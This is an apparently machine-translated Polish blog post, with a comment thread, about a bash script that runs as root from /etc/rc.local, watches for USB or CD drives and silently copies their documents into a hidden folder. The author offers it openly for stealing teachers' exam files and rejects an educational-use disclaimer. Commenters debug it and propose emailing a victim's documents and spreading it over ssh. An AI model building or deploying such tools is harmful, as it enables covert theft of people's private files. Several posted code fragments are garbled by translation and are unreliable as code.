Skrypt do szpiegowania zawartości urządzeń USB i kopiowania go na komputer

Zawsze byłem niespokojnym uczniem, zawsze chciałem korzystać z okazji, takich jak ... na przykład kopiowanie egzaminów semestralnych z pamięci USB nauczyciela lub coś w tym rodzaju. Kiedy byłem w liceum (kierunek informatyka), chciałem zaprogramować „coś”, co wykonałoby następujące czynności:

  1. Wykryj, kiedy urządzenie USB jest podłączone do komputera w klasie
  2. Skopiuj całą zawartość z tego urządzenia na swój komputer

To pozwoliłoby mi zdać egzamin dużo wcześniej, wystarczyłoby tylko, żeby nauczyciel podłączył swoją pamięć USB (pendrive) do komputera i tyle.

Niestety w moim instytucie komputery miały Windows i… nigdy i nigdy nie nauczyłem się programować dla tego systemu.

Jednak teraz używam Linuksa (oczywiście nie? LOL!), A wiedząc, że przez te lata byłem w stanie zdobyć, teraz TAK! Mogę to już osiągnąć dzięki Linuksowi 😀

Oznacza to, że zaprogramowałem prosty skrypt, który wykonuje następujące czynności:

1. Utwórz folder /home/.USBDRIVES/
2. Co 5 sekund sprawdza, czy do komputera jest podłączone jakieś urządzenie USB (lub CD / DVD).
3. Jeśli jeden jest podłączony, utworzy folder w /home/.USBDRIVES/ z nazwą USB (na przykład: memory-2gb), a także skopiuje wszystkie pliki .doc, .pdf, itp (tutaj lista) do właśnie utworzonego folderu.
4. W przypadku, gdy nie ma podłączonego USB, po prostu zaczeka 5 sekund, aby rozpocząć sprawdzanie, które wyjaśniłem powyżej 😀

Oto skrypt i plik zawierający formaty do skopiowania:

Pobierz USB-Spy.zip
Skrypt musi być wykonywany jako root, aby jego działanie nie było ograniczone. Tutaj wyjaśniam, jak to osiągnąć

Aby skrypt działał bezproblemowo najlepiej jest uruchamiać go z uprawnieniami administratora (root), gdyż oczywiste jest, że trzeba go uruchamiać razem z komputerem, w ten sposób upewniamy się, że jeśli komputer jest zrestartowany lub wyłączony, po ponownym uruchomieniu skryptu będzie działał, gotowy do wypakowania z dowolnego USB tego, co chcemy 😉

Otwórzmy terminal ... po otwarciu ...

1. Załóżmy, że mamy oba pliki w formacie /optować/ (/opt/usb-spy.sh y /opt/usb-spy.files), musimy nadać mu uprawnienia do wykonywania:

sudo chmod +x /opt/usb-spy.sh

2. Otwieramy plik /etc/rc.local :

sudo nano /etc/rc.local

3. W nim piszemy powyżej ostatniej linii (wyjście 0) Następny:

/opt/usb-spy.sh &

4. Teraz wciskamy [Ctrl] + [X], aby zapisać i wyjść z pliku, wciskamy [S] lub [Y] (w zależności od języka systemu), a następnie [Enter]. To wystarczy, aby zmiany, które wprowadziliśmy, zostały zapisane.

I voila, to wystarczy, aby skrypt uruchomił się jako root po włączeniu komputera.

Ważne jest, aby sprawdzić, czy plik usb-spy.pliki znajduje się w tym samym katalogu co usb-spy.sh 😉

Teraz ... wyjaśnię trochę wewnętrzne działanie scenariusza, ponieważ wiem, że jest tu wielu miłośników Bash por

Q: Skąd skrypt wie, że podłączone jest urządzenie USB?
Odp .: W pliku / etc / mtab naszego systemu znajdują się urządzenia lub partycje zamontowane w naszym systemie. W linii 23 skryptu wiadomo, czy jest podłączony port USB, czy nie (tworzenie cat do mediów mtab i grep)
P: Tak, ale Skąd skrypt wie, czy cat i grep zwracają nam jakieś dane, czy nie?
O: Poprzez a if, to else loop który zaczyna się w linii 24.
Q: Jak sprawić, by kopiował tylko pliki z żądanymi rozszerzeniami? (.doc, .pdf itp.)
Odp .: Używając rsync z różnymi parametrami, to jest w linii 34. Po prostu wyjaśniam, z rsync kopiuję tylko pliki pasujące do filtra usb-spy.files, każda linia jest filtrem, że tak powiem. Podaję również parametr --prune-empty-dirs do rsync, więc nie tworzy dla mnie pustych katalogów.
Swoją drogą coś ważny. Jeśli podłączone jest urządzenie USB 8GB (na przykład), wszystko działa poprawnie, ale zauważyłem, że jeśli podłączone jest urządzenie o znacznie większej pojemności, takie jak 500GB lub 1TB, to proces wyszukiwania plików .doc itp., Aby je skopiować do komputera zajęło dużo czasu, więc postawiłem limit GB. To znaczy, w linii 31 oświadczam, że jeśli urządzenie USB ma mniej niż 16 GB, to znajdź pliki i skopiuj je, ale jeśli jest większe niż 16 GB, nie rób nic. Jeśli chcesz zwiększyć te 16 GB o 32 GB, po prostu zwiększ tę liczbę z wiersza 31

Właściwie nie ma wiele do wyjaśnienia, skrypt jest naprawdę prosty do zrozumienia :)

Jeśli ktoś ma jakiekolwiek wątpliwości, pytania, skargi, pomysły lub sugestie, proszę o ich poinformowanie, a ja obiecuję im jak najwięcej pomóc.

Cóż, myślałem o umieszczeniu czegoś takiego: «ten skrypt służy wyłącznie do celów edukacyjnych, nie używaj go ze szkodliwymi plikami»… Ale… co do diabła! Używaj tego do czego chcesz, czas, abyśmy my, uczniowie, mieli jakąś przewagę nad nauczycielami, którzy nas gnębią 😀

pozdrowienia

Nadal można wprowadzić wiele poprawek do scenariusza, ale hej to dobry początek myślę, że jeśli ktoś czuje się zmotywowany do przyczynienia się do tego „szlachetnego” bo to będzie przyjemność 😀

93 komentarzy, zostaw swoje

Zostaw swój komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

*

*

  1. Odpowiedzialny za dane: Miguel Ángel Gatón
  2. Cel danych: kontrola spamu, zarządzanie komentarzami.
  3. Legitymacja: Twoja zgoda
  4. Przekazywanie danych: Dane nie będą przekazywane stronom trzecim, z wyjątkiem obowiązku prawnego.
  5. Przechowywanie danych: baza danych hostowana przez Occentus Networks (UE)
  6. Prawa: w dowolnym momencie możesz ograniczyć, odzyskać i usunąć swoje dane.

  1.   pełen życia powiedział

    Oszust ¬¬

    XDDDDD

    1.    KZKG ^ Gaara powiedział

      Nie, wcale nie ... jeśli na pewno pomyślałeś kiedyś o zrobieniu czegoś takiego ... HAHAHA.

      1.    Iwan Molina powiedział

        Uratowałeś mnie przed popowym quizem 😀… Teraz twoje «KZKG ^ Gaara» Jesteś moim bogiem… Chwała!

    2.    Facundo powiedział

      Witam, bardzo dobry skrypt, ale w mega plik już nie istnieje, możesz go wysłać na mój email, proszę

  2.   Oscar powiedział

    Linux wynosi 1% i mówisz, że nigdy nie nauczyłeś się programować dla systemu Windows, więc korepetycje są dla systemu linux, moje pytanie brzmi: jaka jest możliwość znalezienia nauczyciela, który używa Linuksa, aby móc prowadzić korepetycje?

    1.    KZKG ^ Gaara powiedział

      Ten skrypt lub sztuczka jest „zaimplementowana” w komputerze, który niekoniecznie musi być osobisty lub własny profesora, wystarczy, że jest to dowolny komputer uniwersytetu lub college'u, wtedy byłoby to możliwe tylko przez X lub Powód, dla którego profesor podłącza twoje USB do tego komputera.

      Tak, jest dla Linuksa, ale wiele uniwersytetów używa Linuksa jako systemu w laboratoriach komputerowych, a także uruchamia się z LiveCD i niekoniecznie instaluje Linuksa na PC 🙂

      O 1% polecam przeczytać ten post: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

    2.    Hyuuga_Neji powiedział

      Możliwość spadnięcia gigantycznego meteorytu na Atlantyk w około 30 min

  3.   Josh powiedział

    Wygląda interesująco, trzeba będzie spróbować.
    dzięki

    1.    KZKG ^ Gaara powiedział

      Narzędzie, które posiada, nie jest świetną rzeczą, ale skrypt sam w sobie jest interesujący ... ponieważ można się z niego nauczyć kilku wskazówek, na przykład jak poznać podłączone USB, rozmiar partycji itp. 🙂

  4.   cr0t0 powiedział

    Oryginalny i bardzo dobrze wyjaśniony artykuł KZKG ^ Gaara. Twoje zdrowie!

    1.    KZKG ^ Gaara powiedział

      Dziękuję

  5.   Oscar powiedział

    Co za śmiałość !!!, a odważysz się to napisać na blogu OO, nie wiem co o tym myśleć, czy to ktoś, kto go nie lubi, został zhakowany?

    1.    KZKG ^ Gaara powiedział

      bezczelność? czemu?
      Chociaż cel lub motyw skryptu może nie być tak poważny, jak reszta mojego wkładu, myślę, że skrypt, jego wiersze i logika programowania mają wiele do zaoferowania.

      Możesz skorzystać z kilku rzeczy z tego skryptu:
      1. Jak poznać rozmiar partycji i że jest to zmienna.
      2. Jak sprawdzić, czy USB jest podłączone i wyodrębnić jego ścieżkę i nazwę.
      3. pętle if-then-else i while.

      W każdym razie nie sądzę, żeby to było całkowicie bezużyteczne czy coś.

      1.    Oscar powiedział

        Myślę, że źle interpretujesz mój komentarz, mam na myśli na początku Twojego artykułu,
        „Zawsze byłem niespokojnym uczniem, zawsze chciałem korzystać z okazji, takich jak ... na przykład kopiowanie egzaminów semestralnych z pamięci USB nauczyciela lub coś w tym rodzaju”. Jeśli przeszkadza ci to, co mówię, mam nadzieję, że wybaczycie, to nie był mój zamiar.

        1.    Blaire pascal powiedział

          o co za wspaniały blog, dobre artykuły, dobrzy czytelnicy, użytkownicy przepraszają ... to raj bez trolli.

          1.    KZKG ^ Gaara powiedział

            dzięki ^ - ^
            Jesteśmy dumni z tego, co osiągnęliśmy do tej pory, ta społeczność jest naprawdę dumna ... wspaniale jest być częścią tego wszystkiego 😀

        2.    KZKG ^ Gaara powiedział

          Nie, wcale nie, nie zawracałem sobie tym głowy xD
          I tak, hehe, to był mój błąd, że źle zinterpretowałem twój komentarz hehehe, przepraszam za to 😉

          Nic, co przeprosiny pochodzą ode mnie teraz, będę musiał umyć twarz, aby zobaczyć, czy skończę się budzić ... z tego, co widzę, nadal nie jestem w 100% HAHAHA.

          Pozdrowienia przyjacielu 🙂

        3.    Oscar powiedział

          Bardzo dobra osoba xD

  6.   neomit powiedział

    Chciałbym, aby moje komputery w college'u miały Linuxa muhahahjaja.

  7.   GGGG1234 powiedział

    Dobry artykuł!
    Ale ktokolwiek zechce naśladować to w Windows, będzie łatwiejszy, ponieważ jeśli nie masz uprawnień roota na maszynie, na której chcesz go używać, nie możesz go zostawić „na zawsze”. W systemie Windows tak się nie dzieje 😉

  8.   Blaire pascal powiedział

    Bardzo dobrze hehe.

  9.   Hyuuga_Neji powiedział

    Pomysł jest dobry, ma tylko słabość polegającą na konieczności korzystania z uprawnień roota

    1.    KZKG ^ Gaara powiedział

      Cóż, właściwie nie musisz być rootem jako takim ... jeśli zadeklarujesz w skrypcie, że folder NIE będzie /home/.USBDRIVES, jak to powiedziałem, i mówi na przykład: / home / usuario /. USBDRIVES ... wystarczy wtedy wykonanie skryptu z "user" 😀

  10.   Emilio powiedział

    To dobry pomysł, ale myślę, że oszczędziłbyś sobie modyfikowania rc.local i uruchamiania go co minutę za pomocą crontab, a tym samym unikasz problemu uruchamiania go jako root i reszta, z drugiej strony, chociaż tak nie jest wpływają na wiele, zużywasz pamięć komputera bezużytecznie co 5 sekund, aby sprawdzić, czy usb jest, nawet jeśli tak nie jest. Cóż, taki jest mój punkt widzenia

    1.    KZKG ^ Gaara powiedział

      To znaczy, sprawdzaj co 1 minutę, prawda? Nie zrobiłem tego w ten sposób, ponieważ… a co, jeśli USB zostanie podłączone i odłączone w mniej niż 1 minutę? 😀

      Wolałem robić to co 5 sekund, aby naprawdę „przechwycić” wszystkie USB 😉

      Jeśli źle Cię zrozumiałem, popraw mnie 🙂

      Pozdrawiamy i zapraszam.

      1.    Emilio powiedział

        Tak, sprawdzaj co minutę za pomocą crona, ale cóż, każdy ma inny sposób patrzenia na problem, nic więcej niż spojrzenie na kod, nie byłoby lepiej sprawdzić, czy folder /home/.USBDRIVES już istnieje przed utworzeniem to nic więcej sugestia

        pozdrowienia

        1.    KZKG ^ Gaara powiedział

          Tak też, to szczegół, który zauważyłem, ale ... byłem leniwy, aby go rozwiązać LOL!

          Podobnie mógłbym umieścić dziennik, w którym wyświetlane są skopiowane pliki (osobny dziennik dla każdego urządzenia), może nawet wysłać ten dziennik e-mailem (używając jakiejś metody wysyłania e-maili przez terminal tych, które umieściłem tutaj na stronie ) ... ale jak ci mówiłem, trochę mnie to rozleniwia ^ - ^ U

  11.   Pawłoko powiedział

    Hahahaha świetnie.

  12.   Heksborg powiedział

    AHA! Więc twoje oprogramowanie może być użyte do zła. LOL!!! 🙂

    Sztuczka jest w porządku, ale ... co jeśli chcesz odmontować USB, zanim skrypt zakończy kopiowanie jego zawartości? W takim przypadku będzie narzekać, że jest używany i zostanie zauważony, że coś jest nie tak. 🙂

    1.    KZKG ^ Gaara powiedział

      W rzeczywistości system nie pozwoli na odmontowanie USB, ponieważ „coś” będzie go używać 😉

      1.    Heksborg powiedział

        Dokładny! I wtedy profesor Oscara myśli, że znalazł wirusa linuksowego. LOL!! 🙂

  13.   Oscar powiedział

    Przypomniałeś mi kiedyś, że zrobiłem coś podobnego (na moim Uni, gdybyśmy mieli linux / windows), ale stworzyłem program w C, który generował tysiące folderów. Podłączyłem USB facetowi, który go podłączył. Kierownik centrum komputerowego był zdumiony! Myślał, że znalazł wirusa w linuxx muajajajaja ... ahhh .. które to były czasy =)

    1.    miguel powiedział

      i jaka jest różnica w przypadku wirusa?

      1.    Oscar powiedział

        Że zdalnie dostałem się do jego USB i uruchomiłem program 😛

        1.    miguel powiedział

          hahahaha, więc to był hack XD

    2.    KZKG ^ Gaara powiedział

      ????
      hehehehehe więc znalazłeś wirusa w Linuksie, prawda? … LOL!!

  14.   Sempromy powiedział

    Po prostu nie działa dla mnie xD, jeśli spróbuję go uruchomić z terminala, mówi mi to: ./usb-spy.sh: linia 31: [: -lt: oczekiwano operatora jednoargumentowego
    Wydaje się, że coś jest nie tak z tą linią: if [$ USBSIZE -lt 15664800]; następnie
    Ale nie wiem, co to jest, ponieważ nie tworzy również katalogu .USB.

    Jeśli można to rozwiązać, znajdę przydatny skrypt.

    1.    Heksborg powiedział

      Spróbuj zamienić df na / bin / df i upewnij się, że uruchamiasz go jako root.

      1.    Sempromy powiedział

        Ok, teraz, jeśli utworzy folder .USB w katalogu domowym, ale ciągle mówi mi przez terminal, że: "./usb-spy.sh: linia 31: [: -lt: oczekiwano operatora unary" i nie robi nic nie kopiuj, w tej linii musi być jakiś konflikt, doceniam pomoc, jeśli ktoś to zobaczy.
        Dziękuję bardzo.

        1.    Heksborg powiedział

          Czy możesz nam podać zawartość swojego pliku / etc / mtab po podłączeniu USB?

          1.    Sempromy powiedział

            Jasne, proszę bardzo:

            / dev / sda12 / ext4 rw, błędy = remount-ro 0 0
            proc / proc proc rw, noexec, nosuid, nodev 0 0
            sysfs / sys sysfs rw, noexec, nosuid, nodev 0 0
            brak / sys / fs / bezpiecznik / połączenia fusectl rw 0 0
            none / sys / kernel / debug debugfs rw 0 0
            brak / sys / kernel / security securityfs rw 0 0
            udev / dev devtmpfs rw, tryb = 0755 0 0
            devpts / dev / pts devpts rw, noexec, nosuid, gid = 5, tryb = 0620 0 0
            tmpfs / run tmpfs rw, noexec, nosuid, size = 10%, mode = 0755 0 0
            none / run / lock tmpfs rw, noexec, nosuid, nodev, size = 5242880 0 0
            brak / run / shm tmpfs rw, nosuid, nodev 0 0
            binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw, noexec, nosuid, nodev 0 0
            / dev / sdb1 / media / DOCU403 vfat rw, nosuid, nodev, uid = 1000, gid = 1000, shortname = m $

            Ostatnie wiersze to te z zamontowanego USB / dev / sdb1

          2.    Heksborg powiedział

            Zobaczmy, czy to mamy. 🙂

            Podaj nam wynik polecenia df. I spróbuj dodać linię:

            echo $ USBSIZE

            Dokładnie przed, jeśli to powoduje problem i powiedz nam, co się wydarzy podczas uruchamiania skryptu. To powinno wyglądać tak:

            USBSIZE = `/ bin / df | grep $ USBDEV | awk {'print $ 2'} `
            echo $ USBSIZE
            if [$ USBSIZE -lt 15664800]; następnie

            I na wszelki wypadek powiedz nam również, jakie jest wyjście polecenia df.

            1.    Sempromy powiedział

              Ok, częściowo polecenie df zwraca mi to:

              System plików 1K-bloków Używane Dostępne Użyj% Zamontowane na
              / dev / sda12 54082300 45246956 6125892 89% /
              udev 2004028 4 2004024 1% / dev
              tmpfs 805768 1180 804588 1% / bieg
              brak 5120 0 5120 0% / praca / blokada
              brak 2014420 92 2014328 1% / run / shm
              / dev / sdb1 1023200 322256 700944 32% / media / DOCU 3

              Polecenie, które zwraca mi df: / bin / df

              Następnie wstawiłem echo $ USBSIZE, a wynik jest taki sam, nic nowego nie wypisuje, ale błąd z poprzedniej, zabawne jest to, że dzieje się tak z USB które testuję, jeśli wrzucę 500GB zewnętrzny dysk twardy Tak, zwraca rozmiar dysku na ekranie, ale 500 przekracza 16 if, dlatego z dyskiem twardym nic nie robi.

              Ale z USB nic nie robi, poza pokazaniem błędu: ./usb-spy.sh: line 34: [: -lt: unarny operator oczekiwany
              To tak, jakby nie mógł pokazać rozmiaru USB, ale za pomocą polecenia df otrzymuję jego rozmiar.

              Dzięki za pomoc, zobaczmy, czy damy radę!


            2.    Sempromy powiedział

              W przypadku, gdy komenda nie wyglądała dobrze tutaj zostawiam zrzut ekranu: http://i48.tinypic.com/j5dvn5.jpg


          3.    Heksborg powiedział

            Widzę, że w mtabie ścieżka, w której pojawia się zamontowany, to „/ media / DOCU403”, podczas gdy w df pojawia się „/ media / DOCU 3”. To sprawia, że ​​grep go nie znajduje i nie zwraca rozmiaru. Spróbuj zmienić pierwsze wiersze for, aby wyglądały tak:

            dla USBD w `cat / etc / mtab | grep media | awk '{print $ 1}' '';
            do
            USBDEV = `cat / etc / mtab | grep $ USBD | awk '{print $ 2}' ''
            USBSIZE = `/ bin / df | grep $ USBD | awk {'print $ 2'} `

            Zmiany polegają na zmianie nazwy zmiennej for na USBD, zmianie 2 $ na końcu wiersza for na $ 1, wstawieniu linii zaczynającej się od USBDEV zaraz po wykonaniu do i zmianie USBDEV na USBD w linii rozpoczynającej się z USBSIZE… Mam nadzieję, że się nie bawiłem. 🙂

            Pomysł polega na tym, aby wykonać for na podstawie nazwy urządzenia zamiast punktu podłączenia.

            1.    KZKG ^ Gaara powiedział

              Problem polegał na tym, że w mtab, gdy urządzenie ma spacje ... umieszcza jakieś "dziwne" znaki w wierszu, szczególnie w miejscu spacji.

              Nie ma nic tak prostego do rozwiązania, jak zmiana sposobu wyznaczenia $ USBDEV, w linii 28 zmień to i umieść to w ten sposób:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              ????


          4.    Ateusz powiedział

            Zobaczę, czy mogę ci pomóc ...

            Operator jednoargumentowy pokazuje to, ponieważ nie lokalizuje rozmiaru dysku, dzieje się tak, ponieważ go nie sprawdza, dzieje się tak, ponieważ nazywa się

            DOKU 3

            i przyjmuje to jako dwie wartości, gdyby był to DOCU, nie spowodowałoby to problemu

            Może to zadziała dla Ciebie

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            Pozdrowienia 🙂

            1.    Sempromy powiedział

              Rzeczywiście w tym problem, bo właśnie próbowałem z innymi USB które mają nazwę ze słowem bez spacji np. "Klasy" i skrypt działa bezproblemowo, dlatego rozpoznał dysk a nie wspomnienia, ale teraz Rzecz w tym, że wiedząc, jak umieścić cudzysłowy w kodzie skryptu, czy muszę je umieszczać w „$ USBNAME”?

              Wielkie dzięki dla Atheyusa i Hexborga za pomoc, prawie gotowe.


          5.    KZKG ^ Gaara powiedział

            Właściwie Sempromy naprawa jest bardzo prosta 😉
            Wiersz 28 ... zmień to na:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            Właśnie przeprowadziłem testy z tą zmianą i działa dobrze z urządzeniami, których etykieta / nazwa ma spację :)

            Teraz dokonam zmiany w skrypcie do pobrania.

          6.    Heksborg powiedział

            Bardzo dobre. Więc jest to łatwe do naprawienia. 🙂

  15.   auroszx powiedział

    Ohhh, bardzo genialne 😀 Zanotuję, jeśli będę musiał ...

  16.   Sempromy powiedział

    KZKG ^ Gaara, z takim układem działa idealnie, teraz jeśli skopiuję USB ze spacją w nazwie, bardzo dziękuję wszystkim za pomoc, spróbuję sprawdzić, czy da się to uruchomić z bootem systemu i tak Sprawdź w każdym cyklu, czy jest podłączony port USB.

    W końcu to osiągnęliśmy xD.

    1.    KZKG ^ Gaara powiedział

      ^ - ^ ... miło hehe.
      Problem polegał na tym, że użyłem mtab do rozpoznania USB, mogłem po prostu użyć df ... Użyłem mtab ponieważ pomyślałem, że ciekawie będzie im wytłumaczyć ten plik, że go znają, ale nie przewidziałem, że to błąd wystąpiłby w przypadku urządzeń ze spacjami lol.

      Wszelkie pytania lub problemy, które zostawisz, prawie każdy tutaj lubi pomagać xD

      pozdrowienia

    2.    Heksborg powiedział

      Oczywiście. Jesteśmy linuxerami. Zawsze to rozumiemy. XD.

  17.   Eretik powiedział

    Zainstaluj demona na komputerze nauczyciela, który generuje zapis wszystkich plików .doc, .docx, .odt, .pdf i wysyła je pocztą. Oprócz skanowania komputera od czasu do czasu w poszukiwaniu zmian, nowych plików lub usunięć we wspomnianym rejestrze, a wszelkie wiadomości prześle również zmodyfikowany lub nowy plik pocztą.

  18.   Eretik powiedział

    Podobnie myślę, że wykonanie tego skryptu (I JAKO ROOT !!!!) to coś więcej niż grabież, to samobójstwo. Ułatwiasz życie i rzeczy o 700% wszystkim zainteresowanym umieszczeniem pliku na komputerze z uprawnieniami roota i wszystkim innym. Pamiętaj, że rozszerzenia nie istnieją w Linuksie i że .doc w Linuksie może być tym samym, co tekst, film lub, co gorsza, skrypt (tym razem z bardzo złymi intencjami).

    1.    KZKG ^ Gaara powiedział

      Uruchomienie go jako root nie jest całkowicie konieczne, wystarczy zdefiniować folder, w którym zawartość zostanie umieszczona w miejscu, w którym działający użytkownik ma uprawnienia do zapisu (na przykład własny dom) i to wszystko 🙂

      O niebezpiecznych plikach ... cóż, możesz dodać kilka linii, które wykonałyby chmod -x do wszystkich plików, tracąc w ten sposób właściwość wykonywania.

      1.    Sempromy powiedział

        Dodałem te wiersze na początku, aby usunąć folder .USBDRIVES, jeśli został już utworzony:

        jeśli [-s $ PLACE]
        następnie rm -r $ MIEJSCE
        fi

        W ten sposób nie da błędu "katalog już istniejący" czyli jeśli trzeba uważać, żeby w folderze .USBDRIVES nie było nic czego nie chcemy skasować bo to usunie to i umieści inny na swoim miejscu.

  19.   Daniel powiedział

    Aby dodać nowe formaty plików, po prostu zapisz je na usb-spy? na przykład .jpg .mp3 itp.

    1.    KZKG ^ Gaara powiedział

      Aby dodać nowe typy plików, umieść je w pliku usb-spy.files
      Spójrz na zawartość pliku, a zobaczysz, jak je dodać, to całkiem proste 😉

  20.   Wuilmer bolivar powiedział

    Jeśli jesteśmy w tej samej sieci, a jest maszyna nauczyciela, interesującą rzeczą byłoby zrobienie mapowania sieci, możemy mieć ssh na maszynach iw ten sposób rozprowadzić kod na maszynach laboratoryjnych lub nawet na maszynie nauczyciela …. To daje mi mnóstwo pomysłów: $

  21.   Xiler powiedział

    Witam serdecznie gratuluję wpisu i całego wkładu, ale mam pytanie żeby zobaczyć czy ktoś może mi rozwiązać ten problem:

    Testowałem twój skrypt na komputerze z ubuntu 12.04LTS (z Unity) i działał idealnie, ale ponieważ zobaczyłem, że ten skrypt przestał działać po pierwszym uruchomieniu, ponieważ folder .USBDRIVES został już utworzony, postanowiłem użyj bezpośrednio tego innego skryptu twojego autorstwa, który został opublikowany w innej części tego forum

    tutaj kopiuję skrypt, abyś mógł siebie zlokalizować

    #! / bin / bash
    #
    # - * - KODOWANIE: UTF-8 - * -
    # Ten program jest wolnym oprogramowaniem. Możesz go redystrybuować i / lub
    # modyfikować go zgodnie z warunkami Powszechnej Licencji Publicznej
    liczba GNU opublikowana przez Free Software Foundation,
    # w wersji 2 wspomnianej Licencji lub (w zależności od
    # choice) dowolnej późniejszej wersji.
    #
    # Jeśli wprowadzisz jakiekolwiek modyfikacje w tej aplikacji,
    # powinien zawsze wspominać o oryginalnym autorze tego samego.
    #
    #Copyleft 2012, DesdeLinux.net {Hawana, Kuba}.
    # Autor: KZKG ^ Gaara

    WHILE = 0

    podczas gdy [$ CONTROL = 0]; zrobić
    cat / etc / mtab | grep media >> / dev / null
    jeśli [$? -ne 0]; następnie
    LICZNIK = 0
    więcej
    LICZNIK = 1
    : $ {USBDEV: = `cat / etc / mtab | grep media | awk '{print $ 2}' `` »/»}
    cp $ USBDEV / * / home /
    fi
    spać 5
    zrobić

    wyjście 0

    Temat jest następujący w systemie ubuntu12.04 lts unity, że ostatni skrypt działa dobrze i działa, ale kiedy obniżę wersję tego samego komputera z powodu "x" i spróbuję, aby działał w systemie ubuntu 10.10 nie, mogę go uruchomić
    Z jednej strony generuje błąd i nie czyta pendrive'ów, które mają złożoną nazwę, na przykład: DATA-G, ani nie kopiuje plików, które mają złożoną nazwę. Oprócz tego problemu mam problem z tym, że skrypt jest wykonywany tylko przy jednokrotnym restarcie komputera.

    Pytanie brzmi: jak mogę sprawić, by ten skrypt skopiował mi pendrive i pliki z nazwami związków
    i jeśli korzystam z crontab lub mogę zaplanować, aby działał w określonym czasie

    Kolejny szczegół, w Ubuntu 10.10, ponieważ używa Gnome, chciałbym dodać pewne ograniczenia do wzięcia pod uwagę, podczas nadawania uprawnień do wykonywania skryptu, musi on znajdować się w /etc/init.d, a nie w / etc /
    (Weź pod uwagę, że musisz go tam wkleić przybywając z terminala z sudo nautilus)

    Z drugiej strony innym wymiarem byłoby to, że po wklejeniu go tam, aby zobaczyć, czy da się go wykonać, trzeba to zrobić w innym terminalu

    sudo su (być rootem)
    password

    ls

    cd / etc / init.d

    ls -l

    i tam skaczemy, czy działa, czy nie

    następnie w tym samym terminalu lub w innym terminalu w innym czasie będąc rootem i będąc w etc / init.d (to znaczy do kroku cd / etc / init.d) jak w poprzednim terminalu kontynuujemy, aby nadać mu uprawnienia do wykonania

    sudo chmod + x script.sh

    update -rc.d script.sh domyślnie 80

    restart

    Powtarzam, że jest to automatyczne uruchamianie w Ubuntu 10.10, jeśli jest to inna wersja, taka jak 12.04, musisz zrobić to, co mówi KZKG ^ Gaara

    I ostatnie pytanie, jak chcę skopiować zawartość (do 3 podfolderów pendrive'a) do domu lub do ukrytego folderu domowego, czy nie, załóżmy, że to .USBDRIVES
    w kodzie nie musiałbym mówić

    cp -r /media/*/*/*/home/.NAPĘDY USB/*

    Krótko mówiąc, aby uzyskać to, czego chcę, jak powinien pozostać skrypt?
    Ponieważ próbowałem już zmodyfikować linię, którą zmodyfikowali, na usb-spy sh, ale na tę inną, która nagrywa bezpośrednio w domu i zgłasza błąd na zmodyfikowanej linii. Pozdrowienia . Dziękuję Ci

  22.   Kakashi powiedział

    Nie mogę pobrać drugiego skryptu

  23.   metal powiedział

    Bardzo dobre. 😉

  24.   kamaleon powiedział

    A jeśli nie wykonam kroków, które włożyłeś, co się stanie? Czy to nie działa, czy po prostu działa, ale bez rootowania? Jeśli komputery mają system, o którym mówimy, że przywraca całą wewnętrzną konfigurację komputera podczas wyłączania, czy to zadziała? Dziękuję Ci.

    1.    KZKG ^ Gaara powiedział

      W przypadku, gdy system ma „coś”, co domyślnie jest folderem / home /, należy zmodyfikować skrypt, w którym mówi / home / zmienić go na / opt / lub inny folder, na który nie ma to wpływu.

  25.   gambi powiedział

    Myślę, że aby ulepszyć skrypt i uniknąć zauważenia wtargnięcia do pendrive'a, optymalne byłoby nadanie priorytetu typowi, rozmiarowi pliku. Na przykład zostaw na koniec duże pliki o wielkości 100 megabajtów lub więcej. Lub najpierw skopiuj pliki doc, docx, txt, pdf, xml, ... etc etc etc i zostaw pliki avi, mp4, mkv na koniec ...

  26.   lucas powiedział

    Witam, pomysł jest dobry. Chciałem zadać dwa pytania:
    - Czy można to zrobić odwrotnie? zrobić skrypt dla penderivera, który łączy się z dowolną maszyną i rozpakowuje pliki.
    - działa dla systemu operacyjnego Windows?

    1.    KZKG ^ Gaara powiedział

      Cześć,

      Nie jestem pewien, jak można było to zrobić, że po podłączeniu pendrive'a ten sam pendrive samoczynnie wykonuje skrypt, który ma w środku.

      I nie, ten skrypt nie działa w systemie Windows 🙂

      1.    LUCAS powiedział

        Ok, dziękuję za odpowiedź, sprawdzę, jak to zrobić

  27.   José Damian Bazaga Ruiz powiedział

    Co za dobry scenariusz. Analizowałem to i wydaje mi się to niesamowite, mam nadzieję, że któregoś dnia uda mi się również stworzyć takie praktyczne scenariusze.

  28.   jose powiedział

    Doskonały wkład, chociaż narzędzie, które mu dam, nie jest dokładnie tym, do czego go stworzyłeś, jeśli używam go do tworzenia kopii zapasowych plików grupy użytkowników, wykroczenia, które mam… hehehehe….

  29.   objąć powiedział

    kiedy próbuję uruchomić, wyświetla mi się ten błąd w linii 31: [: zbyt wiele argumentów
    usuń tę linię, aby sprawdzić, czy zadziałała. i okazuje się, że to linia ogranicza wielkość urządzeń.
    podczas usuwania kopiuje to, co mam w zamontowanych partycjach 🙁

  30.   Valent powiedział

    Cześć, jestem nowy i wiem, że garnek jest stary, ale bardzo mi się podobał, twój scenariusz jest bardzo edukacyjny

    Dziękuję za udostępnienie go i szczegółowe wyjaśnienie ...

    Wave

  31.   doltroks powiedział

    Przyjacielu uratowałeś mnie, wystarczyło odwrócić uwagę nauczyciela i wprowadzić usb do laptopa a potem hahahaaj zdałem egzamin i notatki od wszystkich hahaha

    1.    oetam222 powiedział

      Czy mógłbyś przekazać mi skrypt, łącze nie działa

    2.    oetam222 powiedział

      Możesz przekazać mi skrypt, w którym łącze jest wyłączone

  32.   Worm2D2 powiedział

    kzkggaara, czy mógłbyś ponownie przesłać pliki? linki nie działają: /, bardzo dziękuję

  33.   bastian powiedział

    Czy możesz przesłać linki?

  34.   Nekr0 powiedział

    słyszy! wujek! masz upadłe pochwały, możesz je ponownie podnieść!
    DOBRZE! : v

  35.   Nekr0 powiedział

    cóż, robię to ponownie, ponieważ nie wiem, czy to, co chciałem powiedzieć, zostało przesłane….

    Dobrze, że masz linki w dół, możesz je przesłać!

  36.   rlorau powiedział

    Linki nie działają !!!

  37.   Developer24 powiedział

    Prześlij ponownie linki, proszę @usemoslinux. Badam ten temat, dzięki!

  38.   anonimowy powiedział

